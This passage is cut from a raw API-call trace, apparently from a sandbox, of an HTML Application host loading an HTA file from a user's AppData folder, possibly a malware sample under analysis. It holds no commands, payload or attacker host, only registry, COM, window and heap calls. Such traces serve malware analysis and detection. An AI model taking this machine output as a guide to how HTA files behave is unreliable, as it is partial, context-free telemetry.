hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ef84 | out: phkResult=0x30ef84*=0x1e4) returned 0x0 [0067.953] RegOpenKeyExW (in: hKey=0x1e4, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x30ef40 | out: phkResult=0x30ef40*=0x0) returned 0x2 [0067.953] RegOpenKeyExW (in: hKey=0x1dc, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x30ef40 | out: phkResult=0x30ef40*=0x0) returned 0x2 [0067.953] RegCloseKey (hKey=0x0) returned 0x6 [0067.953] RegCloseKey (hKey=0x0) returned 0x6 [0067.953] RegCloseKey (hKey=0x1dc) returned 0x0 [0067.953] RegCloseKey (hKey=0x1e4) returned 0x0 [0067.953] IUnknown:AddRef (This=0x8350f4) returned 0x5 [0068.181] IInternetProtocolSink:ReportProgress (This=0x8350f4, ulStatusCode=0xb, szStatusText="") returned 0x0 [0068.181] IInternetProtocolSink:ReportResult (This=0x8350f4, hrResult=0x800c0005, dwError=0x2, szResult=0x0) returned 0x0 [0068.181] IInternetProtocolRoot:Terminate (This=0x835718, dwOptions=0x0) returned 0x0 [0068.181] IUnknown:Release (This=0x8350f4) returned 0x3 [0068.181] IUnknown:Release (This=0x8350f4) returned 0x2 [0068.182] IUnknown:Release (This=0x835718) returned 0x2 [0068.328] IUnknown:Release (This=0x81c134) returned 0x13 [0068.328] IUnknown:AddRef (This=0x81c494) returned 0x4 [0068.328] GetIUriPriv () returned 0x0 [0068.328] IUnknown:Release (This=0x81c494) returned 0x4 [0068.328] IUnknown:Release (This=0x81c494) returned 0x3 [0068.328] IUnknown:Release (This=0x81c134) returned 0x12 [0068.328] IUnknown:Release (This=0x81c134) returned 0x11 [0068.328] CoTaskMemFree (pv=0x0) [0068.328] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1a8) returned 0x835258 [0068.328] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x30f368 | out: lpCPInfo=0x30f368) returned 1 [0068.328] IUnknown:AddRef (This=0x825878) returned 0x3 [0068.328] IUnknown:AddRef (This=0x81c134) returned 0x12 [0068.328] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f370 | out: ppvObject=0x30f370*=0x81c134) returned 0x0 [0068.329] IUnknown:Release (This=0x81c134) returned 0x12 [0068.329] IUnknown:AddRef (This=0x81c134) returned 0x13 [0068.329] IUri:GetScheme (in: This=0x81c134, pdwScheme=0x30f374 | out: pdwScheme=0x30f374*=0x9) returned 0x0 [0068.329] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x58) returned 0x835408 [0068.329] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1e4 [0068.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x7347e718, lpParameter=0x835408, dwCreationFlags=0x0, lpThreadId=0x83541c | out: lpThreadId=0x83541c*=0xb68) returned 0x1dc [0068.330] GetCurrentThreadId () returned 0xcd8 [0068.330] GetCurrentThreadId () returned 0xcd8 [0068.330] GetCurrentThreadId () returned 0xcd8 [0068.330] SetEvent (hEvent=0x1e4) returned 1 [0068.602] IUnknown:Release (This=0x81c134) returned 0x12 [0068.602] IUnknown:Release (This=0x81c644) returned 0x1 [0068.602] IUnknown:Release (This=0x8005f0) returned 0x3 [0068.602] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0068.602] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0068.602] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0068.602] IUnknown:Release (This=0x81c134) returned 0x11 [0068.602] IUnknown:Release (This=0x81c134) returned 0x10 [0068.602] IUnknown:Release (This=0x81c134) returned 0xf [0068.602] IUnknown:Release (This=0x8005f0) returned 0x2 [0068.602] IUnknown:Release (This=0x81c134) returned 0xe [0068.602] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0068.602] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0068.602] CoTaskMemFree (pv=0x830720) [0068.602] CoTaskMemFree (pv=0x0) [0068.602] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0068.602] IUnknown:Release (This=0x81c134) returned 0xd [0068.602] CoTaskMemFree (pv=0x830690) [0068.602] GetClientRect (in: hWnd=0x201e6, lpRect=0x30f88c | out: lpRect=0x30f88c) returned 1 [0068.603] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x78) returned 0x802000 [0068.603] GetClientRect (in: hWnd=0x201e6, lpRect=0x80202c | out: lpRect=0x80202c) returned 1 [0068.603] OffsetRect (in: lprc=0x80202c, dx=0, dy=0 | out: lprc=0x80202c) returned 1 [0068.603] OffsetRect (in: lprc=0x80203c, dx=0, dy=0 | out: lprc=0x80203c) returned 1 [0068.603] RegisterClassExW (param_1=0x30f3a8) returned 0xc189 [0068.884] CoCreateInstance (in: rclsid=0x7349bf70*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x7349bf60*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x7388b020 | out: ppv=0x7388b020*=0x8312a0) returned 0x0 [0069.197] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0x8312a0, aaClassList=0x30f4a0*=0xc189, uSize=0x1) returned 0x0 [0069.197] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc189, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=587, hWndParent=0x201e6, hMenu=0x0, hInstance=0x73350000, lpParam=0x8221e8) returned 0x60018 [0069.878] GetWindowLongW (hWnd=0x60018, nIndex=-20) returned 0 [0069.878] SetWindowLongW (hWnd=0x60018, nIndex=-21, dwNewLong=8528360) returned 0 [0070.025] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x81, wParam=0x0, lParam=0x30f074*=8528360, plResult=0x30eeec | out: plResult=0x30eeec) returned 0x1 [0070.025] NtdllDefWindowProc_W () returned 0x1 [0070.217] GetCurrentThreadId () returned 0xcd8 [0070.331] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0070.331] GetCurrentThreadId () returned 0xcd8 [0070.713] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0070.713] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x1, wParam=0x0, lParam=0x30f074*=8528360, plResult=0x30eeec | out: plResult=0x30eeec) returned 0x1 [0070.713] NtdllDefWindowProc_W () returned 0x0 [0070.713] GetCurrentThreadId () returned 0xcd8 [0070.871] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0070.871] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x5, wParam=0x0, lParam=0x24b0428, plResult=0x30ef38 | out: plResult=0x30ef38) returned 0x1 [0070.871] NtdllDefWindowProc_W () returned 0x0 [0070.871] GetCurrentThreadId () returned 0xcd8 [0070.920] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0070.920] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x3, wParam=0x0, lParam=0x0, plResult=0x30ef38 | out: plResult=0x30ef38) returned 0x1 [0070.920] NtdllDefWindowProc_W () returned 0x0 [0070.920] GetCurrentThreadId () returned 0xcd8 [0071.013] NtdllDefWindowProc_W () returned 0x0 [0071.127] GetClassNameW (in: hWnd=0x201e6, lpClassName=0x30f4a8, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34 [0071.142] StrCmpIW (psz1="HTML Application Host Window Class", psz2="HTMLPageDesignerWndClass") returned -1 [0071.142] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0x8312a0, fRestoreLayout=1) returned 0x0 [0071.142] SendMessageW (hWnd=0x60018, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0071.142] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0071.142] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x129, wParam=0x0, lParam=0x0, plResult=0x30f35c | out: plResult=0x30f35c) returned 0x1 [0071.142] NtdllDefWindowProc_W () returned 0x3 [0071.142] GetCurrentThreadId () returned 0xcd8 [0071.143] IntersectRect (in: lprcDst=0x30f6dc, lprcSrc1=0x80202c, lprcSrc2=0x80203c | out: lprcDst=0x30f6dc) returned 1 [0071.143] EqualRect (lprc1=0x30f6dc, lprc2=0x80202c) returned 1 [0071.143] InvalidateRect (hWnd=0x60018, lpRect=0x0, bErase=1) returned 1 [0071.187] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xf0) returned 0x837848 [0071.187] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x150) returned 0x837940 [0071.187] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x140) returned 0x837a98 [0071.187] IntersectRect (in: lprcDst=0x30f5c8, lprcSrc1=0x30f5c8, lprcSrc2=0x30f560 | out: lprcDst=0x30f5c8) returned 1 [0071.187] IntersectRect (in: lprcDst=0x30f5c8, lprcSrc1=0x30f5c8, lprcSrc2=0x30f560 | out: lprcDst=0x30f5c8) returned 1 [0071.187] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x837be0 [0071.187] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x80d948 [0071.188] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xec) returned 0x837c48 [0071.188] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0071.188] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0071.188] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x80d980 [0071.188] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x8349f0 [0071.247] GetCurrentThreadId () returned 0xcd8 [0071.247] GetCurrentThreadId () returned 0xcd8 [0071.247] GetCurrentThreadId () returned 0xcd8 [0071.247] IntersectRect (in: lprcDst=0x30f404, lprcSrc1=0x30f404, lprcSrc2=0x30f3d4 | out: lprcDst=0x30f404) returned 1 [0071.247] IntersectRect (in: lprcDst=0x837af8, lprcSrc1=0x837af8, lprcSrc2=0x30f3f4 | out: lprcDst=0x837af8) returned 1 [0071.247] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0071.247] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831a58 [0071.247] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831a58 | out: hHeap=0x7f0000) returned 1 [0071.247] SetWindowPos (hWnd=0x60018, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1 [0071.587] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0071.587] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x46, wParam=0x0, lParam=0x30f6bc*=393240, plResult=0x30f558 | out: plResult=0x30f558) returned 0x1 [0071.587] NtdllDefWindowProc_W () returned 0x0 [0071.587] GetCurrentThreadId () returned 0xcd8 [0071.656] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0071.656] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x47, wParam=0x0, lParam=0x30f6bc*=393240, plResult=0x30f554 | out: plResult=0x30f554) returned 0x1 [0071.656] NtdllDefWindowProc_W () returned 0x0 [0071.799] GetCurrentThreadId () returned 0xcd8 [0071.967] SetTimer (hWnd=0x60018, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0072.027] GetFocus () returned 0x0 [0072.117] EnumChildWindows (hWndParent=0x60018, lpEnumFunc=0x73670a73, lParam=0x30f5b4) returned 0 [0072.279] GetFocus () returned 0x0 [0072.386] SetFocus (hWnd=0x60018) returned 0x0 [0072.665] NtdllDefWindowProc_W () returned 0x0 [0073.176] NtdllDefWindowProc_W () returned 0x0 [0073.588] NtdllDefWindowProc_W () returned 0x0 [0073.893] NtdllDefWindowProc_W () returned 0x0 [0075.724] NtdllDefWindowProc_W () returned 0x0 [0075.916] NtdllDefWindowProc_W () returned 0x0 [0076.345] NtdllDefWindowProc_W () returned 0x0 [0076.809] NtdllDefWindowProc_W () returned 0x0 [0077.045] NtdllDefWindowProc_W () returned 0x0 [0077.074] NtdllDefWindowProc_W () returned 0x0 [0077.244] NtdllDefWindowProc_W () returned 0x1 [0077.319] NtdllDefWindowProc_W () returned 0x0 [0077.698] NtdllDefWindowProc_W () returned 0x0 [0079.268] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0079.268] LoadLibraryA (lpLibFileName="OLEACC.DLL") returned 0x74b20000 [0079.273] GetProcAddress (hModule=0x74b20000, lpProcName="LresultFromObject") returned 0x74b22663 [0079.273] LresultFromObject () returned 0xc166 [0083.209] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x14) returned 0x838ad8 [0083.210] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831ba8 [0083.590] GetCurrentThreadId () returned 0xcd8 [0083.595] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x838ad8 | out: hHeap=0x7f0000) returned 1 [0083.596] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x60) returned 0x83c738 [0083.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x838ad8 [0083.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e298 [0083.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c738 | out: hHeap=0x7f0000) returned 1 [0083.598] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x60) returned 0x83c738 [0083.599] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x838b18 [0083.599] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e2e0 [0083.599] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c738 | out: hHeap=0x7f0000) returned 1 [0083.599] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831c38 [0083.599] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x48) returned 0x83f6f0 [0083.600] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.601] GetMessageTime () returned 0 [0083.601] GetMessagePos () returned 0x0 [0083.601] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x30ef7c | out: plResult=0x30ef7c) returned 0x0 [0083.622] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.622] GetMessageTime () returned 0 [0083.622] GetMessagePos () returned 0x0 [0083.622] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x30e9ac | out: plResult=0x30e9ac) returned 0x0 [0083.622] GetCurrentThreadId () returned 0xcd8 [0083.622] GetCurrentThreadId () returned 0xcd8 [0083.623] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.623] GetMessageTime () returned 0 [0083.623] GetMessagePos () returned 0x0 [0083.623] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f130 | out: lpPoint=0x30f130) returned 1 [0083.623] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f130 | out: lpPoint=0x30f130) returned 1 [0083.623] GetCapture () returned 0x0 [0083.625] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d7f0 [0083.625] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831c68 [0083.625] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x83f250 [0083.626] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f250 | out: hHeap=0x7f0000) returned 1 [0083.626] GetCurrentThreadId () returned 0xcd8 [0083.626] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d7f0 | out: hHeap=0x7f0000) returned 1 [0083.626] GetCurrentThreadId () returned 0xcd8 [0083.626] GetCurrentThreadId () returned 0xcd8 [0083.626] RtlReAllocateHeap (Heap=0x7f0000, Flags=0x0, Ptr=0x80d868, Size=0x48) returned 0x83f740 [0083.626] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x30f36c | out: plResult=0x30f36c) returned 0x1 [0083.626] NtdllDefWindowProc_W () returned 0x0 [0083.626] GetCurrentThreadId () returned 0xcd8 [0083.627] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0x8312a0, hWnd=0x60018, phIMC=0x30f694 | out: phIMC=0x30f694*=0x30285) returned 0x0 [0083.627] CActiveIMMAppEx_Trident:IActiveIMMApp:AssociateContext (in: This=0x8312a0, hWnd=0x60018, hIME=0x0, phPrev=0x30f694 | out: phPrev=0x30f694*=0x30285) returned 0x0 [0083.627] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x60) returned 0x83c738 [0083.627] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c738 | out: hHeap=0x7f0000) returned 1 [0083.627] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x60) returned 0x83c738 [0083.627] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c738 | out: hHeap=0x7f0000) returned 1 [0083.627] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831c68 | out: hHeap=0x7f0000) returned 1 [0083.627] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831c38 | out: hHeap=0x7f0000) returned 1 [0083.628] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.628] GetMessageTime () returned 0 [0083.628] GetMessagePos () returned 0x0 [0083.628] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x30f37c | out: plResult=0x30f37c) returned 0x0 [0083.628] GetCurrentThreadId () returned 0xcd8 [0083.628] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.628] GetMessageTime () returned 0 [0083.628] GetMessagePos () returned 0x0 [0083.628] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x30f37c | out: plResult=0x30f37c) returned 0x0 [0083.628] GetCurrentThreadId () returned 0xcd8 [0083.629] IsOS (dwOS=0x25) returned 1 [0083.629] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f588 | out: phkResult=0x30f588*=0x22c) returned 0x0 [0083.629] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f58c | out: phkResult=0x30f58c*=0x230) returned 0x0 [0083.629] RegOpenKeyExW (in: hKey=0x230, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x30f548 | out: phkResult=0x30f548*=0x0) returned 0x2 [0083.629] RegOpenKeyExW (in: hKey=0x22c, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x30f548 | out: phkResult=0x30f548*=0x234) returned 0x0 [0083.629] SHRegGetValueW () returned 0x0 [0083.629] RegCloseKey (hKey=0x234) returned 0x0 [0083.629] RegCloseKey (hKey=0x0) returned 0x6 [0083.629] RegCloseKey (hKey=0x0) returned 0x6 [0083.629] RegCloseKey (hKey=0x22c) returned 0x0 [0083.629] RegCloseKey (hKey=0x230) returned 0x0 [0083.629] LoadLibraryW (lpLibFileName="ieframe.dll") returned 0x71ce0000 [0083.637] GetVersionExW (in: lpVersionInformation=0x30f094*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x30f094*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0083.637] LoadLibraryExW (lpLibFileName="ieframe.dll", hFile=0x0, dwFlags=0x22) returned 0x71ce0000 [0083.637] LoadStringW (in: hInstance=0x71ce0000, uID=0xb5, lpBuffer=0x30f610, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0083.639] LoadStringW (in: hInstance=0x71ce0000, uID=0xb5, lpBuffer=0x30f670, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0083.639] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831c38 [0083.640] LoadStringW (in: hInstance=0x71ce0000, uID=0xb5, lpBuffer=0x30f65c, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0083.640] ShowWindow (hWnd=0x60018, nCmdShow=1) returned 1 [0083.640] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b360 | out: hHeap=0x7f0000) returned 1 [0083.640] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0083.640] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0083.640] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0083.642] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", ppu=0x30f3a8 | out: ppu=0x30f3a8) returned 0x0 [0083.642] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.642] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.642] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.645] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x28) returned 0x831c68 [0083.645] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x82e960 [0083.645] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b360 [0083.645] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x28) returned 0x831c98 [0083.645] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x82e9b8 [0083.645] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x68) returned 0x84a9a8 [0083.645] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x80d868 [0083.645] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x82ea10 [0083.645] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x84a9a8 | out: hHeap=0x7f0000) returned 1 [0083.645] GetSystemDefaultLCID () returned 0x409 [0083.645] GetVersionExW (in: lpVersionInformation=0x30f320*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7f0174, dwBuildNumber=0x0, dwPlatformId=0x7f0000, szCSDVersion="ꦠ\x84") | out: lpVersionInformation=0x30f320*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0083.645] GetKeyboardLayoutList (in: nBuff=32, lpList=0x30f2a0 | out: lpList=0x30f2a0) returned 1 [0083.646] GetSystemMetrics (nIndex=4096) returned 0 [0083.646] RegisterClipboardFormatA (lpszFormat="HTML Format") returned 0xc0d4 [0083.646] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0b9 [0083.646] RegisterClipboardFormatA (lpszFormat="RTF As Text") returned 0xc0bc [0083.646] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptor") returned 0xc0cf [0083.646] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptorW") returned 0xc0d0 [0083.646] RegisterClipboardFormatW (lpszFormat="FileContents") returned 0xc0ce [0083.646] RegisterClipboardFormatW (lpszFormat="Shell IDList Array") returned 0xc07a [0083.646] RegisterClipboardFormatW (lpszFormat="UniformResourceLocator") returned 0xc0d8 [0083.646] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2c) returned 0x83d7f0 [0083.646] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x82ea68 [0083.646] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x64) returned 0x84a9a8 [0083.646] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x84a9a8 | out: hHeap=0x7f0000) returned 1 [0083.646] SetTimer (hWnd=0x60018, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0083.646] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.646] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x84ea40 [0083.646] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80d8a0 | out: hHeap=0x7f0000) returned 1 [0083.646] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8348b8 | out: hHeap=0x7f0000) returned 1 [0083.646] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x82eac0 [0083.646] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82eac0 | out: hHeap=0x7f0000) returned 1 [0083.646] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.646] IUnknown:AddRef (This=0x81c494) returned 0x4 [0083.646] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", pdwZone=0x30f364, dwFlags=0x0 | out: pdwZone=0x30f364*=0xffffffff) returned 0x800c0011 [0083.647] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0083.647] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0083.647] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0083.647] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", dwAction=0x2106, pPolicy=0x30f368, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x30f368*=0x0) returned 0x0 [0083.647] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0083.647] IUnknown:Release (This=0x81c494) returned 0x3 [0083.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x82eac0 [0083.647] HeapFree (in: hHeap=0x7f0000, 